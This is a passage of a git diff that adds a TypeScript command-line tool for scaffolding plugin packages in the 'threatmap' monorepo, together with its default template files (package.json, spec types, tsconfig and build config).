"-") + .replace(/^-|-$/g, ""); +}; + +export const prompt = async (): Promise => { + const rl = readline.createInterface({ + input: process.stdin, + output: process.stdout, + }); + + try { + const lines = rl[Symbol.asyncIterator](); + + const ask = async (message: string): Promise => { + process.stdout.write(message); + const result = await lines.next(); + return result.done === true ? "" : String(result.value); + }; + + const packageName = await ask("What is the name of your plugin package? "); + if (packageName.trim().length === 0) { + throw new Error("Package name is required"); + } + + const description = await ask("What is the description of your plugin? "); + + const targetDirInput = await ask( + "Target directory (relative to cwd) [packages/plugins]: ", + ); + const targetDir = + targetDirInput.trim().length === 0 + ? "packages/plugins" + : targetDirInput.trim(); + + return { + packageName: packageName.trim(), + pluginId: toPluginId(packageName.trim()), + description: description.trim(), + targetDir, + }; + } finally { + rl.close(); + } +}; diff --git a/tools/create-plugin/src/scaffold.ts b/tools/create-plugin/src/scaffold.ts new file mode 100644 index 0000000..c1c4f51 --- /dev/null +++ b/tools/create-plugin/src/scaffold.ts @@ -0,0 +1,98 @@ +import fsPromises from "node:fs/promises"; +import path from "node:path"; +import { fileURLToPath } from "node:url"; + +import { type ScaffoldConfig } from "./types.js"; + +export const scaffold = async (config: ScaffoldConfig): Promise => { + const templatePath = getTemplatePath(); + const destinationPath = path.resolve( + process.cwd(), + config.targetDir, + config.pluginId, + ); + + console.log(`[*] Creating plugin in ${destinationPath}`); + await fsPromises.cp(templatePath, destinationPath, { + recursive: true, + errorOnExist: true, + }); + + await updateTemplateValues(destinationPath, config); + + console.log(`[*] Plugin created in ${destinationPath}`); + console.log(`[*] Run the following commands to get started:`); + console.log(`[*] - pnpm install`); + console.log(`[*] - pnpm --filter @threatmap/${config.pluginId} build`); + + return destinationPath; +}; + +const getTemplatePath = (): string => { + const filename = fileURLToPath(import.meta.url); + const dirname = path.dirname(filename); + return path.join(dirname, "../", "templates", "default"); +}; + +const updateTemplateValues = async ( + destinationPath: string, + config: ScaffoldConfig, +): Promise => { + const packageJsonPath = path.join(destinationPath, "package.json"); + const packageJson = JSON.parse( + await fsPromises.readFile(packageJsonPath, "utf-8"), + ); + packageJson.name = `@threatmap/${config.pluginId}`; + packageJson.description = + config.description.length > 0 + ? config.description + : `Specification for the ${config.pluginId} plugin`; + await fsPromises.writeFile( + packageJsonPath, + JSON.stringify(packageJson, null, 2) + "\n", + ); + + const indexPath = path.join(destinationPath, "src", "index.ts"); + let indexContent = await fsPromises.readFile(indexPath, "utf-8"); + indexContent = indexContent.replaceAll( + '"__plugin_id__"', + `"${config.pluginId}"`, + ); + await fsPromises.writeFile(indexPath, indexContent); + + const readmePath = path.join(destinationPath, "README.md"); + let readmeContent = await fsPromises.readFile(readmePath, "utf-8"); + readmeContent = readmeContent.replaceAll("__plugin_id__", config.pluginId); + await fsPromises.writeFile(readmePath, readmeContent); + + await updateTsconfigExtends(destinationPath); +}; + +const updateTsconfigExtends = async ( + destinationPath: string, +): Promise => { + const tsconfigPath = path.join(destinationPath, "tsconfig.json"); + const tsconfig = JSON.parse(await fsPromises.readFile(tsconfigPath, "utf-8")); + + let basePath = path.join(process.cwd(), "tsconfig.json"); + try { + await fsPromises.access(basePath); + } catch { + basePath = path.join(process.cwd(), "..", "..", "tsconfig.json"); + try { + await fsPromises.access(basePath); + } catch { + return; + } + } + + let relative = path.relative(destinationPath, basePath); + if (!relative.startsWith(".")) { + relative = `./${relative}`; + } + tsconfig.extends = relative.split(path.sep).join("/"); + await fsPromises.writeFile( + tsconfigPath, + JSON.stringify(tsconfig, null, 2) + "\n", + ); +}; diff --git a/tools/create-plugin/src/types.ts b/tools/create-plugin/src/types.ts new file mode 100644 index 0000000..eee8956 --- /dev/null +++ b/tools/create-plugin/src/types.ts @@ -0,0 +1,6 @@ +export type ScaffoldConfig = { + packageName: string; + pluginId: string; + description: string; + targetDir: string; +}; diff --git a/tools/create-plugin/templates/default/README.md b/tools/create-plugin/templates/default/README.md new file mode 100644 index 0000000..2012a06 --- /dev/null +++ b/tools/create-plugin/templates/default/README.md @@ -0,0 +1,3 @@ +# @threatmap/__plugin_id__ + +Specification for the __plugin_id__ plugin. diff --git a/tools/create-plugin/templates/default/package.json b/tools/create-plugin/templates/default/package.json new file mode 100644 index 0000000..7f57f73 --- /dev/null +++ b/tools/create-plugin/templates/default/package.json @@ -0,0 +1,33 @@ +{ + "name": "@threatmap/__plugin_id__", + "version": "0.0.0", + "description": "Specification for the __plugin_id__ plugin", + "author": "ThreatCode", + "repository": "https://github.com/threatcode/threatmap", + "license": "MIT", + "type": "module", + "main": "./dist/index.mjs", + "types": "./dist/index.d.mts", + "exports": { + ".": { + "types": "./dist/index.d.mts", + "import": "./dist/index.mjs", + "default": "./dist/index.mjs" + } + }, + "files": [ + "dist" + ], + "scripts": { + "build": "tsdown", + "prepare": "pnpm run build", + "typecheck": "tsc --noEmit" + }, + "dependencies": { + "@threatmap/sdk-shared": "workspace:*", + "zod": "4.1.12" + }, + "devDependencies": { + "tsdown": "^0.21.7" + } +} diff --git a/tools/create-plugin/templates/default/src/api.ts b/tools/create-plugin/templates/default/src/api.ts new file mode 100644 index 0000000..cb17e67 --- /dev/null +++ b/tools/create-plugin/templates/default/src/api.ts @@ -0,0 +1,5 @@ +import type { APIResult } from "./index.js"; + +export type API = { + ping: () => APIResult; +}; diff --git a/tools/create-plugin/templates/default/src/events.ts b/tools/create-plugin/templates/default/src/events.ts new file mode 100644 index 0000000..6bd9575 --- /dev/null +++ b/tools/create-plugin/templates/default/src/events.ts @@ -0,0 +1,3 @@ +export type Events = { + "session:updated": (sessionId: string) => void; +}; diff --git a/tools/create-plugin/templates/default/src/index.ts b/tools/create-plugin/templates/default/src/index.ts new file mode 100644 index 0000000..38b65f4 --- /dev/null +++ b/tools/create-plugin/templates/default/src/index.ts @@ -0,0 +1,17 @@ +import type { DefinePluginPackageSpec } from "@threatmap/sdk-shared"; + +import type { API } from "./api.js"; +import type { Events } from "./events.js"; + +export type Spec = DefinePluginPackageSpec<{ + manifestId: "__plugin_id__"; + api: API; + events: Events; +}>; + +export type { API } from "./api.js"; +export type { Events } from "./events.js"; + +export type APIResult = + | { kind: "Error"; error: string } + | { kind: "Ok"; value: T }; diff --git a/tools/create-plugin/templates/default/tsconfig.json b/tools/create-plugin/templates/default/tsconfig.json new file mode 100644 index 0000000..3977b85 --- /dev/null +++ b/tools/create-plugin/templates/default/tsconfig.json @@ -0,0 +1,7 @@ +{ + "extends": "../../../tsconfig.json", + "compilerOptions": { + "isolatedDeclarations": false + }, + "include": ["./src/**/*.ts"] +} diff --git a/tools/create-plugin/templates/default/tsdown.config.ts b/tools/create-plugin/templates/default/tsdown.config.ts new file mode 100644 index 0000000..8650aef --- /dev/null +++ b/tools/create-plugin/templates/default/tsdown.config.ts @@ -0,0 +1,13 @@ +import { defineConfig } from "tsdown"; + +export default defineConfig({ + entry: ["./src/index.ts"], + platform: "node", + format: "esm", + dts: true, + sourcemap: true, + clean: true, + deps: { + neverBundle: ["zod", "@threatmap/sdk-shared"], + }, +}); diff --git a/tools/create-plugin/tsconfig.json b/tools/create-plugin/tsconfig.json new file mode 100644 index 0000000..1fd919b --- /dev/null +++ b/tools/create-plugin/tsconfig.json @@ -0,0 +1,10 @@ +{ + "extends": "../../tsconfig.json", + "compilerOptions": { + "isolatedDeclarations": false, + "declaration": false, + "declarationMap": false, + "noEmit": true + }, + "include": ["./src/**/*.ts"] +} diff --git a/tools/create-plugin/tsdown.config.ts b/tools/create-plugin/tsdown.config.ts new file mode 100644 index 0000000..f76fd5b --- /dev/null +++ b/tools/create-plugin/tsdown.config.ts @@ -0,0 +1,8 @@ +import { defineConfig } from "tsdown"; + +export default defineConfig({ + entry: ["./src/index.ts"], + platform: "node", + format: "esm", + clean: true, +});